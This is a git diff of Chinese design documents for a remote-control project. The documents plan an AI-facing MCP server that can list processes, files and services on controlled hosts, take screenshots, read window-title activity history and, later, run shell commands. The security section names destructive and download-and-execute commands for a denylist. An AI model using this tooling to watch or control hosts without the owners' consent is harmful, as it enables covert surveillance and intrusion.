+|------|------|------|---------------|------|------|
+| P1（已交付） | `list_online_hosts` | 在线主机列表 | `BuildHostJson` | — | 只读 |
+| P2a（已实现并验证） | `search_hosts` | 按名称/IP/分组/OS/在线态过滤 | `list_online_hosts` 内存过滤 | — | 只读 |
+| P2a（已实现并验证） | `get_host_detail` | 单机详情（不含活动历史） | 现成 device 字段（`BuildHostJson`） | — | 只读 |
+| P2b（已实现并验证） | `list_processes` | 主机进程列表 | `COMMAND_SYSTEM`→（子链接）`TOKEN_PSLIST` | **A′** | 只读 |
+| P2b（已实现并验证） | `list_windows` | 主机窗口列表 | `COMMAND_WSLIST`→（子链接）`TOKEN_WSLIST` | **A′** | 只读 |
+| P2b（已实现并验证） | `get_activity_history` | 单机历史活动（文本快照） | `COMMAND_QUERY_ACTIVITY`(159)→`TOKEN_REPORT_ACTIVITY`(160) | **A** | 只读 |
+| P2c（已实现） | `get_screenshot` | 单帧屏幕截图（JPEG） | `COMMAND_SCREEN_PREVIEW_REQ`→`TOKEN_SCREEN_PREVIEW_RSP` | **A** | 只读 |
+| P2c（已实现） | `list_files` | 目录列举 | `COMMAND_LIST_DRIVE`→`TOKEN_DRIVE_LIST`（列盘）/ 同子链接再 `COMMAND_LIST_FILES`→`TOKEN_FILE_LIST`（列目录） | **A′** | 只读 |
+| P2d（已实现） | `list_services` | Windows 服务列表 | `COMMAND_SERVICES`(218)→（子链接）`TOKEN_SERVERLIST` | **A′** | 只读 |
+| P2d（已实现） | `get_client_log` | 客户端运行日志快照 | `COMMAND_QUERY_LOG`(155)→（子链接）`TOKEN_REPORT_LOG`(156) | **A′** | 只读 |
+| P3 | `exec_command` | 执行命令、返回 stdout | `COMMAND_SHELL`→`TOKEN_SHELL_START`/`TOKEN_SHELL_DATA` | **B** | **写** |
+| P3 | `send_message` | 给被控端弹消息 | `COMMAND_TALK`(220) | **A0** | 写（低危） |
+| P3 | `kill_process` | 结束进程 | `COMMAND_KILLPROCESS` | **A0** | **写** |
+| P4（暂缓） | 实时远程桌面 / 交互终端 | 持续流 | 屏幕/终端子链接 + SSE/轮询 | **B** | 需会话模型 |
+
+### 5.2 Phase 2：只读观测（低风险，无写操作）
+
+全部只读，不改变被控端任何状态，token 模型不变（仍单一静态 token）。P2a 纯内存、零改动；P2b/P2c/P2d 引入模式 A/A′ 无头接管，但只读、可回滚。
+
+### 5.3 Phase 3：安全写操作（需单独评审）
+
+进入 `Mcp_Design.md §1.3` 明确划出的「写操作」区。每个工具交付前需评审三点（见 §8）：命令白名单、审计日志、**分组授权 + token 分级**。
+
+### 5.4 Phase 4：会话/流式（暂缓）
+
+实时远程桌面、交互终端等需要「持续流」的能力，与当前 request/response 模型不匹配。需先决定传输方案（SSE / 提交任务 + 轮询），本期**不做**，避免过早引入复杂会话状态。
+
+---
+
+## 6. 分阶段实施计划
+
+> 每期都给出：改动文件、接口、测试点、回滚方式。原则是**每期可独立合入、独立验收、独立回滚**。
+
+### 6.1 P2a：`search_hosts` + `get_host_detail`（纯内存，零子链接）✅ 已实现并验证
+
+**改动**：仅 `McpServer.cpp`。
+- `BuildToolsListResult` 增两个工具描述 + schema。
+- `BuildToolsCall` 增两个分支，复用 `list_online_hosts` 已遍历出的主机数据做内存过滤/单机抽取（抽出 `CollectOnlineHosts` 收集 + `BuildHostItemSchema` 复用）。
+- 无任何 `MessageHandle`/`WebService`/`context` 改动。
+
+**影响面**：极小，只加不改。**回滚**：revert 单文件即可。
+
+**验收**：`tools/list` 返回 3 个工具；`tools/call search_hosts` 按 filter 正确过滤；`get_host_detail` 对在线主机返回正确字段、对离线/非法 id 返回明确错误。
+
+> **范围修正**：原计划 `get_host_detail` 附带「活动历史」，但活动历史是 `COMMAND_QUERY_ACTIVITY`(159)→`TOKEN_REPORT_ACTIVITY`(160) 的**主连接往返**（客户端上报、服务端不落库），非纯内存字段，违反 P2a「纯内存」约束。故 P2a 的 `get_host_detail` 只返回主机实时字段，活动历史单列为 P2b 的 `get_activity_history`（模式 A）。
+
+### 6.2 P2b：`list_processes` + `list_windows` + `get_activity_history`（模式 A′ / 模式 A，首次无头接管）✅ 已实现并验证
+
+> 本节已按实际实现修订：进程/窗口是**一次性子链接**（模式 A′），历史活动是**主连接 RPC**（模式 A），见 §4.2/§4.2′。
+
+**改动**：
+
+- `McpServer.h/.cpp`：
+  - 加 §4.4 的 `m_Pending` 注册表 + `IsPending`/`TakeMainResponse`/`BeginPending`/`WaitPending`/`ClearPending`，每 host 单飞行检查。
+  - 加解析器 `ParseProcessList`（PID/name/arch/path，按 clientType 编码转 UTF-8）、`ParseWindowList`（hwnd/title/status/pid，标题按能力位解码）；两者都用 `BoundedStrlen` 有界读 + 「空记录 = 尾部零填充」终止，规避客户端 `LocalSize` 对齐引入的尾部零字节。
+  - 加三个工具：`list_processes`（发 `COMMAND_SYSTEM`）、`list_windows`（发 `COMMAND_WSLIST`）、`get_activity_history`（发 `COMMAND_QUERY_ACTIVITY`）。
+- `2015RemoteDlg.cpp` 的 `MessageHandle`：
+  - `TOKEN_PSLIST`/`TOKEN_WSLIST` 分支（子 context）：`if (McpServer().IsPending(devId)) { TakeMainResponse(devId, GetBuffer(0), GetBufferLength()); ContextObject->CancelIO(); break; }`（**在 UI 线程、IO 线程阻塞期间同步拷贝**；用完即关子链接）。
+  - `TOKEN_REPORT_ACTIVITY` 分支（主 context）：`if (McpServer().IsPending(devId)) { TakeMainResponse(...); break; }`（**不 CancelIO**，主连接不可关）。
+
+**影响面**：`MessageHandle` 只新增 `if` 分支，不影响现有 MFC 弹框路径（非 MCP 触发时 `IsPending` 为假，行为不变）。
+
+**验收**：
+- MFC 双击进程/窗口管理弹框仍正常（回归点）；MFC 历史活动对话框仍正常（回归点）。
+- MCP `list_processes` 返回 `[{pid,name,arch,path}]`；`list_windows` 返回 `[{hwnd,title,status,pid}]`；`get_activity_history` 返回 `{records:[...], activityHistory}`（UTF-8 文本，逐行拆记录）。
+- 超时（如对离线主机）返回 `-32001` 而非挂死；同 host 并发第二次调用返回 `-32003`「设备忙」；发送失败返回 `-32004`。
+- 中文进程名/窗口标题无乱码（进程名按 clientType 解码、窗口标题按能力位 UTF-8）。
+
+**验证记录**（2026-08-19，真实在线主机实测）：
+- `list_processes`（Windows 11 主机）：`pid`/`name`/`arch`/`path` 完整；`pid==0` 仅 1 条（合法 `[System Process]`），无尾部零填充空记录——padding 防护生效。
+- `list_windows`：`hwnd`/`title`/`status`/`pid` 完整，无空标题记录；中文标题（「搭建 MCP 架构…」「微信」）UTF-8 正确。
+- `get_activity_history`：返回 `[时间] [标题] 时长` 记录，UTF-8 正确。
+- 错误路径实测：缺 `id` → `-32602`；非数字 `id` → `-32602`；未知/离线主机 → `-32002`；错误 token → HTTP 401。
+- **客户端版本门槛**：`get_activity_history` 依赖客户端 `2026-08-15`（提交 `29929e4`）加入的 `COMMAND_QUERY_ACTIVITY` 处理；更早的客户端（如 `Jul 14 2026`）不识别该命令、无响应，服务端 20s 超时返回 `-32001`——属预期行为，非 bug。测试须选 `Aug 15 2026` 及之后的客户端。
+
+**回滚**：revert `McpServer.h` + `McpServer.cpp` + `MessageHandle` 两处 `if` 分支。
+
+### 6.3 P2c：`get_screenshot` + `list_files`（模式 A / A′）✅ 已实现（待实机验证）
+
+> 本节按实际实现修订：`get_screenshot` 是**主连接 RPC**（模式 A，有 reqId 关联）；`list_files` 是**一次性子链接**（模式 A′）——列盘 `COMMAND_LIST_DRIVE`→`TOKEN_DRIVE_LIST` 即关，列目录则在 `TOKEN_DRIVE_LIST` 到达时就地同子链接再发 `COMMAND_LIST_FILES`→`TOKEN_FILE_LIST` 后关链。原设计把 `list_files` 误标为模式 A，已纠正（与 §4.2′ 对进程/窗口的同类纠正一致）。
+
+**`get_screenshot`（屏幕预览链路，主连接 RPC，模式 A）**：
+
+- 复用现有双击预览机制 `COMMAND_SCREEN_PREVIEW_REQ`(247)→`TOKEN_SCREEN_PREVIEW_RSP`(248)（`common/commands.h:416-455`，单帧 JPEG，`ScreenPreviewReq`/`ScreenPreviewRspHeader`），`ctx->Send2Client` 发请求、主连接回响应，**不建子链接、不弹框**。
+- 复用 MFC 预览的 RTT/FRP 自适应参数挑选 `ChooseScreenPreviewParams` + `SendScreenPreviewRequest`，不重复实现 `GetTargetQualityLevel`。
+- **可选 `max_width` 参数**：缺省/0 沿用缩略图档位（最大 1024，4K 源屏高档 1280）；`max_width`>0 覆盖宽度并钳制到客户端上限 `[64,1920]`（客户端 `CaptureAndEncodePreview` 硬钳制），供 AI 视觉/OCR 场景请求接近原分辨率（1080p 源屏传 1920 即原分辨率，4K 源屏最多 1920）。`jpegQuality` 仍沿用档位自适应值。
+- **请求关联**：`ScreenPreviewReq.reqId` 提供关联；MCP 用独立 16 位 reqId 发生器（`NextPreviewReqId`，跳过 0）+ `SetPendingReqId` 登记期望值，`TakePreviewResponse` 只接受「挂起命中 + reqId 一致」的响应，过期/他途（MFC 预览并发）响应原样回落到 MFC 路径。
+- 客户端能力位 `CLIENT_CAP_SCREEN_PREVIEW`(0x0004，仅 Windows 客户端声明)：非 Windows 主机返回 `-32005`「不支持」。
+- 返回结构：`content[0] = {type:"image", data: base64(JPEG), mimeType:"image/jpeg"}` + `structuredContent.image = {mimeType,width,height,bytes}`（元数据，不含 base64，避免二次膨胀）。
+
+**`list_files`（文件链路，一次性子链接，模式 A′）**：
+
+- 复用经典文件链路 `COMMAND_LIST_DRIVE`→`TOKEN_DRIVE_LIST` 与 `COMMAND_LIST_FILES`→`TOKEN_FILE_LIST`。**明确范围**：本阶段只做经典链路；项目另有 `COMMAND_GET_FOLDER`(66)、插件版 `TOKEN_DRIVE_LIST_PLUGIN`(150)、V2 文件传输，均列为非目标。
+- **两种调用形态**：
+  - `path` 缺省/空（或 `.`/`/`/`\`）→ 只列盘：`COMMAND_LIST_DRIVE` 开子链接，`TOKEN_DRIVE_LIST` 到达即取走盘列表并关链（与进程/窗口同构的 A′）。
+  - `path` 指定目录 → 列目录：`TOKEN_DRIVE_LIST` 到达时 `OnDriveList` 就地同子链接下发 `COMMAND_LIST_FILES`+`path`（`BuildListFiles` 已按客户端 ANSI 转好，`OnDriveList` 不再转），等 `TOKEN_FILE_LIST` 取走并关链。
+- **编码**：盘符类型名/文件系统、文件名、`path` 均按 **clientType** 判定（与进程名/路径一致）：Windows 走 A 接口（`FindFirstFileA`/`GetLogicalDriveStringsA`/`SHGetFileInfoA` 等）= 客户端 ANSI(GBK/936)；LNX/MAC 文件系统天然 UTF-8。**不能用 `GetClientEncoding`**——它按能力位返回 CP_UTF8，会误解声明 `CLIENT_CAP_UTF8` 的 Windows 客户端（其文件名实为 GBK）。解析用 `ToUtf8(buf, cp)`、下发用 `ToAnsi(path, cp)`，`cp = (clientType=="LNX"||"MAC") ? CP_UTF8 : 936`。
+- **大列表保护**：`ParseFileList(data, 500, cp)` 条目上限 500，避免 JSON 响应过大。
+- 返回结构：列盘 → `structuredContent.drives[]`；列目录 → `structuredContent.files[]`（`{name,isDir,size,mtime}`，mtime 为 Unix 秒）。
+
+**改动**：
+
+- `McpServer.h/.cpp`：
+  - 挂起注册表扩展：`PendingRequest` 增 `path`、`expectedReqId` 字段；`BeginPending(devId, tool, path)` 重载，新增 `NextPreviewReqId`/`SetPendingReqId`/`TakePreviewResponse`/`OnDriveList` 四方法。
+  - 解析器：`ParseDriveList`（`[letter][type][totalMB:4][freeMB:4][typeName\0][fileSystem\0]`，`letter=='\0'` 终止）、`ParseFileList`（`[attr][filename\0][sizeHigh:4][sizeLow:4][ft:8]`，空记录/上限 500 终止）。
+  - 工具：`get_screenshot`（模式 A）、`list_files`（模式 A′），注册 schema（`get_screenshot` 无 inputSchema、`list_files` 带可选 `path`）。
+- `2015RemoteDlg.cpp` 的 `MessageHandle`（三处拦截）：
+  - `TOKEN_SCREEN_PREVIEW_RSP`（主 context）：`TakePreviewResponse(devId, reqId, szBuffer, len)` 命中则 break（**不 CancelIO**，主连接不可关）。
+  - `TOKEN_DRIVE_LIST`（子 context）：`if (IsPending) { OnDriveList(...) ? CancelIO() : /*继续等*/ break; }`（列盘关链、列目录不关）。
+  - `TOKEN_FILE_LIST`（子 context，**新增 case**）：`if (IsPending) TakeMainResponse(...); CancelIO();`（无论命中都关孤儿子链接，防泄漏）。
+
+**影响面**：`MessageHandle` 仅新增 `if` 分支与一个 `TOKEN_FILE_LIST` case；非 MCP 触发时 `IsPending` 为假、`TOKEN_FILE_LIST` case 在 MFC 路径下因 `hDlg` 接管根本不进 `MessageHandle`，现有 MFC 文件管理/屏幕预览弹框路径不变。
+
+**验收 / 实机验证点（待构建后执行）**：
+- MFC 双击文件管理弹框仍正常（回归点）；MFC 双击预览缩略图仍正常（回归点）。
+- MCP `get_screenshot` 返回 JPEG（base64 + 元数据），Windows 主机正常；非 Windows 主机（或未声明 `CLIENT_CAP_SCREEN_PREVIEW`）返回 `-32005`。
+- MCP `list_files`（无 `path`）返回 `drives[]`；`list_files(path="C:\\")` 返回 `files[]`（含目录/文件/大小/mtime），中文文件名无乱码；条目 >500 时截断为 500。
+- 错误路径：缺 `id`/非数字 `id` → `-32602`；未知/离线主机 → `-32002`；同 host 并发 → `-32003`；发送失败 → `-32004`；超时 → `-32001`。
+
+**回滚**：revert `McpServer.h` + `McpServer.cpp` + `MessageHandle` 三处拦截。
+
+### 6.4 P2d：`list_services` + `get_client_log`（模式 A′，只读感知扩展）✅ 已实现并验证
+
+> 本期新增两个**只读**感知工具，均走**一次性子链接**（模式 A′），复用 §4.4 挂起注册表，无新增机制、无写操作。二者与 P2b 的进程/窗口、P2c 的列盘同构：主连接下发命令 → 客户端建子链接回传 → 取走即 `CancelIO`。
+
+**`list_services`（服务管理链路，一次性子链接，仅 Windows）**：
+
+- 复用经典服务链路 `COMMAND_SERVICES`(218)→`TOKEN_SERVERLIST`。客户端 `KernelManager::OnReceive` 收到 `COMMAND_SERVICES` 建子链接 `LoopServicesManager`，`CServicesManager` **构造函数即** `SendServicesList()`（无需再下 `COMMAND_SERVICELIST` 刷新命令），在子链接上一次性回传 `TOKEN_SERVERLIST`。
+- **记录格式**（`ServicesManager.cpp::GetServicesList`）：`[TOKEN_SERVERLIST:1]` 后接 N 条 `[displayName\0][serviceName\0][binaryPath\0][runWay\0][autoRun\0]`，尾部 `LocalAlloc(LPTR)` 零填充终止。**字段顺序以代码为准**（`displayName` 在前、`serviceName` 在后；源码注释「真实名称/显示名称」标注相反，勿据注释判断）。`runWay`/`autoRun` 为英文枚举串（`Stopped/Running/Paused/…`、`Boot-Start/Auto-Start/Demand-Start/Disabled/…`）。
+- **编码**：字段全部来自 Windows A 接口（`EnumServicesStatus`/`QueryServiceConfig` 返回 ANSI），按 clientType 判定 `cp`（与进程/文件一致）；仅 Windows 客户端实现（`EnumServicesStatus` 为 Windows-only），LNX/MAC 主机提前返回 `-32005`。
+- 返回结构：`structuredContent.services[] = {display_name, service_name, binary_path, status, start_type}`。
+
+**`get_client_log`（客户端运行日志，一次性子链接取首条全量）**：
+
+- 复用经典日志链路 `COMMAND_QUERY_LOG`(155)→`TOKEN_REPORT_LOG`(156)。客户端 `KernelManager::OnReceive` 收到 `COMMAND_QUERY_LOG` 建子链接 `LoopClientLogManager`，`CClientLogManager` 构造函数 `SendLogDump()`（`m_sentIdx=0` 返回**全量**），并启动 push 线程**每 3s 推增量**。
+- **关键语义**：`TOKEN_REPORT_LOG` 会**多次**到达（全量 + 每 3s 增量）。MCP 只取**首条全量**：`MessageHandle` 在 `IsPending` 命中时 `TakeMainResponse` 后立即 `CancelIO` 关子链接，后续增量不再到达（与 MFC 日志对话框「持续接收增量、不关链」的路径区分）。
+- **日志内容**：YAMA 客户端**自身运行时日志**（`Logger` 内存 ring buffer，最近最多 1000 条，含 `[pid][时间戳] [文件:行号] 消息`），**非** Windows 系统日志。
+- **编码**：日志文本为客户端 ANSI（Windows 走 `vsnprintf` A 版），按 clientType 判定 `cp`；`data[0]=token` 后为无 `'\0'` 终止的原始字节，需先 `std::string` 包装再 `ToUtf8`（`ToUtf8` 内部以 `-1` 读 null 终止串）。
+- 返回结构：`structuredContent.log = "<原始日志文本>"`。
+
+**改动**：
+
+- `McpServer.h/.cpp`：
+  - 解析器 `ParseServiceList`（5 字段记录，有界读 + 「displayName 与 serviceName 皆空 = 尾部零填充」终止）。
+  - schema `BuildServiceListOutputSchema` / `BuildClientLogOutputSchema`（inputSchema 复用 `BuildGetHostDetailInputSchema` 的 `{ id }`）。
+  - 工具 `BuildListServices`（发 `COMMAND_SERVICES`，LNX/MAC 提前 `-32005`）、`BuildGetClientLog`（发 `COMMAND_QUERY_LOG`）。
+- `2015RemoteDlg.cpp` 的 `MessageHandle`（两处拦截）：
+  - `TOKEN_SERVERLIST`（子 context）：`if (IsPending) { TakeMainResponse; CancelIO(); break; }`（一次性，取走即关）。
+  - `TOKEN_REPORT_LOG`（子 context）：`if (IsPending) { TakeMainResponse; CancelIO(); break; }`（取首条全量即关，停止 3s 增量）。
+
+**影响面**：`MessageHandle` 仅新增两个 `if` 分支；非 MCP 触发时 `IsPending` 为假，MFC 服务管理弹框与日志对话框路径不变（回归点）。
+
+**验收 / 实机验证点**：
+- MFC 双击「服务管理」弹框仍正常（回归点）；MFC 打开「客户端运行日志」对话框仍正常、增量持续追加（回归点）。
+- MCP `list_services` 对 Windows 主机返回 `services[]`，中文显示名/路径无乱码，`status`/`start_type` 为英文枚举；对 LNX/MAC 主机返回 `-32005`。
+- MCP `get_client_log` 返回 `log` 文本快照（UTF-8），中文日志无乱码；空日志返回空 `log`。
+- 错误路径：缺 `id`/非数字 `id` → `-32602`；未知/离线主机 → `-32002`；同 host 并发 → `-32003`；发送失败 → `-32004`；超时 → `-32001`。
+
+**验证记录**（2026-08-19，真实在线主机实测）：
+- `list_services`（Windows 11 EXE 主机「Essential / VCU」）：返回 255 个服务，字段序（显示名→服务名→路径→状态→启动类型）正确，`status`/`start_type` 英文枚举、路径完整。
+- `get_client_log`（同上主机）：返回 510 行 / 40309 字节全量快照，`[pid][时间戳][文件:行号]` 格式正确，中文日志（「启动运行」「任务已存在」「打开注册表失败，错误码：2」等）GBK→UTF-8 转码全部正确。
+- 错误路径实测：LNX 主机 `list_services` → `-32005`；缺/非法 `id` → `-32602`；离线 → `-32002`。
+- **客户端版本门槛**：`get_client_log` 对 Linux 客户端 20s 超时返回 `-32001`——当前 Linux 客户端运行版本未实现 `COMMAND_QUERY_LOG`→`CClientLogManager` 日志回传链路（服务端下发命令无响应），属版本/实现门槛，非 MCP 缺陷（与 §6.2 `get_activity_history` 对老客户端超时同类）。`list_services` 因服务为 Windows-only（`EnumServicesStatus`），已对 LNX/MAC 提前 `-32005`，不受此门槛影响。
+
+**回滚**：revert `McpServer.h` + `McpServer.cpp` + `MessageHandle` 两处拦截。
+
+### 6.5 P3a：`exec_command`（模式 B，写操作，评审后实施）
+
+**改动**：复刻 Web 终端链路（§4.3），把 `m_TermPending` 换成 MCP 自己的挂起标记：
+- 下 `COMMAND_SHELL` → `TOKEN_SHELL_START`/`TOKEN_SHELL_DATA` 接管 → 发送命令文本 → 收集 stdout → 关子链接 → 返回。
+
+**完成判据（本工具最难的半截，必须定死）**：交互 shell 没有「命令结束」信号，采用**哨兵方案**：
+
+```
+实际下发: cmd ; echo __MCP_DONE_<nonce>__ ; echo __MCP_EXIT_$?__
+收集端:   持续累积 TOKEN_SHELL_DATA，直到同时匹配 __MCP_DONE_<nonce>__ 与 __MCP_EXIT_<code>__
+          取出退出码，剥离哨兵行，返回 stdout
+```
+
+`<nonce>` 随机，避免命令自身输出误命中哨兵；整体受 `McpToolTimeoutMs` 兜底（超时强制关链 + 返回错误）。
+
+**前置安全评审**（见 §8）通过后才实施。
+
+**验收**：`exec_command(id, "tasklist")` 返回进程列表文本 + 退出码；白名单外命令被拒绝并审计；超时/离线返回明确错误；MFC 终端弹框不受影响。
+
+---
+
+## 7. 「新增工具」标准配方（可复用流程）
+
+后续任何人新增一个工具，按以下 6 步走：
+
+1. **定协议与模式**：确认复用哪个 `COMMAND_*`→`TOKEN_*` 链路，判定是模式 A（主连接 RPC）、A0（单向命令）还是 B（子链接流式），写进 §5.1 表格。
+2. **定 schema**：在 `BuildToolsListResult` 注册 `name`/`description`/`inputSchema`/`outputSchema`（description 用 `u8"..."`，见 §10）。
+3. **加 dispatch**：在 `BuildToolsCall` 里加一个 `toolName == "..."` 分支。
+4. **实现数据通路**：
+   - 纯内存/现成字段 → 直接实现，不进 `MessageHandle`。
+   - 模式 A0（单向命令）→ 直接 `Send2Client` 后返回，无需挂起/超时。
+   - 模式 A → 加 `m_Pending` 挂起 + `MessageHandle` 对应 `TOKEN_*` 加 `if (IsPending) TakeMainResponse`（IO 线程同步拷贝，**不 CancelIO**）。
+   - 模式 A′ → 同模式 A，但拦截后额外 `ContextObject->CancelIO()` 关一次性子链接。
+   - 模式 B → 加 `m_Pending` 挂起 + `MessageHandle` 对应 `TOKEN_*` 加 `if (IsPending) TakeSubContext` + `OnShellData` 泵数据。
+5. **超时与清理**：带超时、迟到回收、用完即关（模式 B）；每 host 单飞行（§4.5）。
+6. **验收与回滚**：写 §11 的 DoD 清单，确认回归点（对应 MFC 弹框路径不变）。
+
+---
+
+## 8. 安全与权限模型演进
+
+| 阶段 | 鉴权 | 授权 |
+|------|------|------|
+| P1/P2 | 单一静态 Bearer token | 全部只读，token 即授权 |
+| P3 | 引入 **token 分级 + 分组授权** | 只读 token / 完整 token 两档；写操作要求完整 token 且限定可访问分组 |
+| P4 | （如需）会话级授权 | 会话内临时授权 |
+
+**P3 进入前必须评审的三条边界：**
+
+1. **命令白名单**：`exec_command` 默认只放行只读命令（`systeminfo`/`tasklist`/`ipconfig`/`netstat` 等）；危险命令（`del`/`format`/下载执行/`reg add`）需显式放行或直接拒绝。
+2. **审计日志**：每次写操作记录 `host_id + tool + 参数 + token 来源（env/CFG）+ 时间`，写 `Mprintf` + 日志文件。
+3. **分组授权（新增）**：写工具必须限定「token 能操作哪些主机/分组」，**复用 Web 远程桌面已有的 `WebUser.allowed_groups` + admin/viewer 角色模型**（`WebService.cpp:1852-1877`），而非仅区分读/写。否则一个完整 token 就能对**所有**主机执行命令，越过了 Web 侧已有的分组隔离。
+
+> 设计底线：MCP 的写能力与 Web 远程桌面同等级敏感，任何写工具都要按「可控、可审、可关、可分组隔离」交付，不允许「开了 MCP 就能无脑执行任意命令」。
+
+---
+
+## 9. 配置与开关扩展
+
+延续 Phase 1 的配置风格（`settings` 段 + env 覆盖 + `UIBranding` 开关）：
+
+> **配置存储位置（重要）**：`THIS_CFG` 在 **Release 版恒走注册表** `HKCU\Software\YAMA\settings`（`2015Remote.cpp:238` 的 `#else` 分支 `new iniFile`）；`settings.ini` 仅在 **Debug 版**（`#ifdef _DEBUG` 且 `GetPwdHash()==masterHash`）才读，否则同样走注册表。故 Release 版改 MCP 配置应走「扩展 → MCP设置」对话框（写注册表）或直接改注册表，手改 `settings.ini` 对 Release 无效。
+
+| 配置键 | 默认 | 说明 |
+|--------|------|------|
+| `McpEnabled` | 0 | 总开关（已有） |
+| `McpPort` | 6544 | 端口（已有） |
+| `McpBind` | 127.0.0.1 | 绑定（已有） |
+| `McpToken` | 空 | 静态 token（已有） |
+| `McpReadonly` | 1 | **P3 新增**：1=仅只读工具，0=开放写工具（配合完整 token） |
+| `McpCmdWhitelist` | 内置只读命令集 | **P3 新增**：`exec_command` 白名单（分号分隔） |
+| `McpToolTimeoutMs` | 20000 | **P2b 新增**：数据等待超时（当前为 `McpServer.cpp` 内编译期常量 `kMcpToolTimeoutMs`，未接配置） |
+
+新增写能力时，`UIBranding.h`/`FeatureFlags.h` 加对应隐藏/特性位，保持「品牌定制可裁剪」的既有约定。
+
+---
+
+## 10. 编码 / 兼容性规范
+
+- **UTF-8 输出**：所有进入 JSON 的字符串用 `u8"..."` 前缀（项目 `/execution-charset:.936` 会把普通窄字面量编成 GBK）。已在 `list_online_hosts` 的 `description` 中验证，服务端输出正确 UTF-8。
+- **JSON 转义**：jsoncpp 会把非 ASCII 输出为 `\uXXXX`，这是合法 JSON，客户端解析即还原，无需处理。
+- **客户端能力位**：依赖客户端能力的工具（如 `get_screenshot` 的 `CLIENT_CAP_SCREEN_PREVIEW`、UTF-8 字段的 `CLIENT_CAP_UTF8`）必须先查能力位，不支持则返回明确错误而非空结果。
+- **id 一致性**：工具入参 `id` 必须与 `list_online_hosts` 返回的 `id` 同源（`context::GetClientID()` 的 uint64），可直接回填 `FindHost(uint64_t)`；仅接受**在线**主机的 id，离线返回明确错误。
+- **版本兼容**：子链接命令/结构体（`common/commands.h`）**禁止改动既有字段**；MCP 只消费既有协议，不新增命令（原则 2）。
+- **MBCS 构建**：新增 UI 文案走 `_TR()` + lang ini（GBK），与 Phase 1 一致。
+
+---
+
+## 11. 验收标准（Definition of Done）
+
+每个工具交付时，以下全部满足才算完成：
+
+- [ ] `tools/list` 返回该工具及完整 schema。
+- [ ] 正常输入返回正确结构化结果。
+- [ ] 非法输入（错 id / 缺参数 / 设备离线 / 不支持能力）返回**明确的 JSON-RPC 错误码**，不崩溃、不挂死。
+- [ ] 数据获取有超时、迟到回收；模式 B 用完即关（无会话泄漏）。
+- [ ] 每 host 单飞行：同 host 并发请求被拒绝而非串扰。
+- [ ] **回归点**：对应 MFC 弹框/Web 路径行为不变（非 MCP 触发时不受影响）。
+- [ ] 编码正确（UTF-8，中文无乱码）。
+- [ ] 写操作工具附带白名单/审计/分组授权（仅 P3）。
+- [ ] 无新增第三方库。
+
+---
+
+## 12. 风险与回滚
+
+| 风险 | 缓解 |
+|------|------|
+| 无头接管串扰 MFC/Web 路径 | 挂起标记按 `device_id` 唯一；`if (IsPending)` 仅在 MCP 触发时成立，其余路径原样 |
+| 共享 `InDeCompressedBuffer` 被覆盖 | 模式 A 在 IO 线程 `MessageHandle` 内同步拷贝，不等异步 |
+| 无请求 id 的工具响应串扰 | 每 host 单飞行（§4.4）；MCP 与 MFC 各用独立子链接，互不占位（§4.2′） |
+| 阻塞 httplib worker 饿死后续请求 | 低频串行可接受；文档显式声明，未来并发改「任务+轮询」（§4.5） |
+| 超时/挂死 | 所有工具强制 `wait_for(timeout)` + 迟到回收 |
+| 写操作越权 | P3 前三道评审边界（白名单/审计/分组授权）+ `McpReadonly` 默认 1 |
+| 一次性大改影响现有功能 | 分 P2a→P2b→P2c→P3a 四期，每期独立合入/验收/回滚 |
+| 输出过大拖垮 JSON | `list_files`/进程列表等大结果设上限/分页 |
+
+**回滚策略**：每期改动集中在一两个文件（`McpServer.*` + 可选 `MessageHandle` 若干 `if` 分支），出错 revert 当期 commit 即可，不影响已交付的 P1。
+
+---
+
+## 附：建议执行顺序
+
+1. **P2a**（`search_hosts` + `get_host_detail`）✅ ——纯内存、零风险，已实现，验证「多工具 dispatch」模式。
+2. **P2b**（`list_processes` + `list_windows` + `get_activity_history`）✅ ——首次引入**模式 A′ 一次性子链接**（进程/窗口）与**模式 A 主连接 RPC**（历史活动）无头接管，把 §4.2/§4.2′ 的机制跑通并沉淀成 §7 配方。
+3. **P2c**（`get_screenshot` 走屏幕预览链路 + `list_files`）✅ ——补上「看」的能力，仍是只读（`get_screenshot` 模式 A、`list_files` 模式 A′）。
+4. **P2d**（`list_services` + `get_client_log`）✅ ——补上「看服务 / 看日志」的感知能力，仍是只读（均为模式 A′，复用 P2b/P2c 的一次性子链接机制）。
+5. **P3a**（`exec_command`）——首次引入**模式 B 子链接流式**，在 P2 的挂起机制成熟后，走完安全评审再落地写操作。
+
+每完成一期即提交、验收，再进入下一期，保持「有序、平稳、循序渐进」。

docs/macOS_Support_Design.md

@@ -0,0 +1,576 @@
+# macOS 远程桌面客户端设计文档
+
+## 1. 概述
+
+### 1.1 目标
+
+在不影响现有 Windows/Linux 功能的基础上，为 YAMA 项目添加 macOS 客户端支持，前期实现远程桌面控制功能。
+
+### 1.2 功能范围（Phase 1）
+
+| 功能 | 优先级 | 状态 | 说明 |
+|-----|--------|------|------|
+| 连接服务器 | P0 | ⏳ Stub | 复用现有网络协议 |
+| 屏幕捕获 | P0 | ✅ 完成 | CGDisplayCreateImage 实现 |
+| 鼠标控制 | P0 | ✅ 完成 | CGEvent 实现 |
+| 键盘控制 | P0 | ✅ 完成 | CGEvent + VK映射 |
+| 光标同步 | P1 | ⏳ 待实现 | 显示当前光标类型 |
+| 多显示器 | P2 | ⏳ 待实现 | 支持多屏幕选择 |
+
+### 1.3 参考实现
+
+- **Linux 客户端** (`linux/`): 架构相似，协议兼容
+- **RustDesk**: 成熟的跨平台远程桌面开源项目
+- **Sunshine**: 高性能游戏串流项目
+
+---
+
+## 2. 架构设计
+
+### 2.1 目录结构（已实现）
+
+```
+YAMA/
+├── common/              # 跨平台共享（已有）
+│   ├── commands.h       # 协议定义
+│   └── ...
+├── client/              # Windows 客户端（不动）
+├── linux/               # Linux 客户端（不动）
+└── macos/               # macOS 客户端（Phase 1 完成）
+    ├── CMakeLists.txt   # 构建配置
+    ├── build.sh         # 一键编译脚本
+    ├── README.txt       # 使用说明
+    ├── IOCPClient.h     # 网络客户端 stub
+    ├── main.mm          # 入口点 + 系统信息
+    ├── Permissions.h    # 权限检查声明
+    ├── Permissions.mm   # 权限检查实现
+    ├── ScreenHandler.h  # 屏幕捕获声明
+    ├── ScreenHandler.mm # 屏幕捕获实现
+    ├── InputHandler.h   # 输入模拟声明
+    ├── InputHandler.mm  # 输入模拟实现
+    ├── SystemManager.h  # 进程管理声明
+    └── SystemManager.mm # 进程管理实现
+```
+
+### 2.2 模块依赖关系
+
+```
+┌─────────────────────────────────────────────────┐
+│                   main.mm                        │
+│         (入口、权限检查、系统信息收集)             │
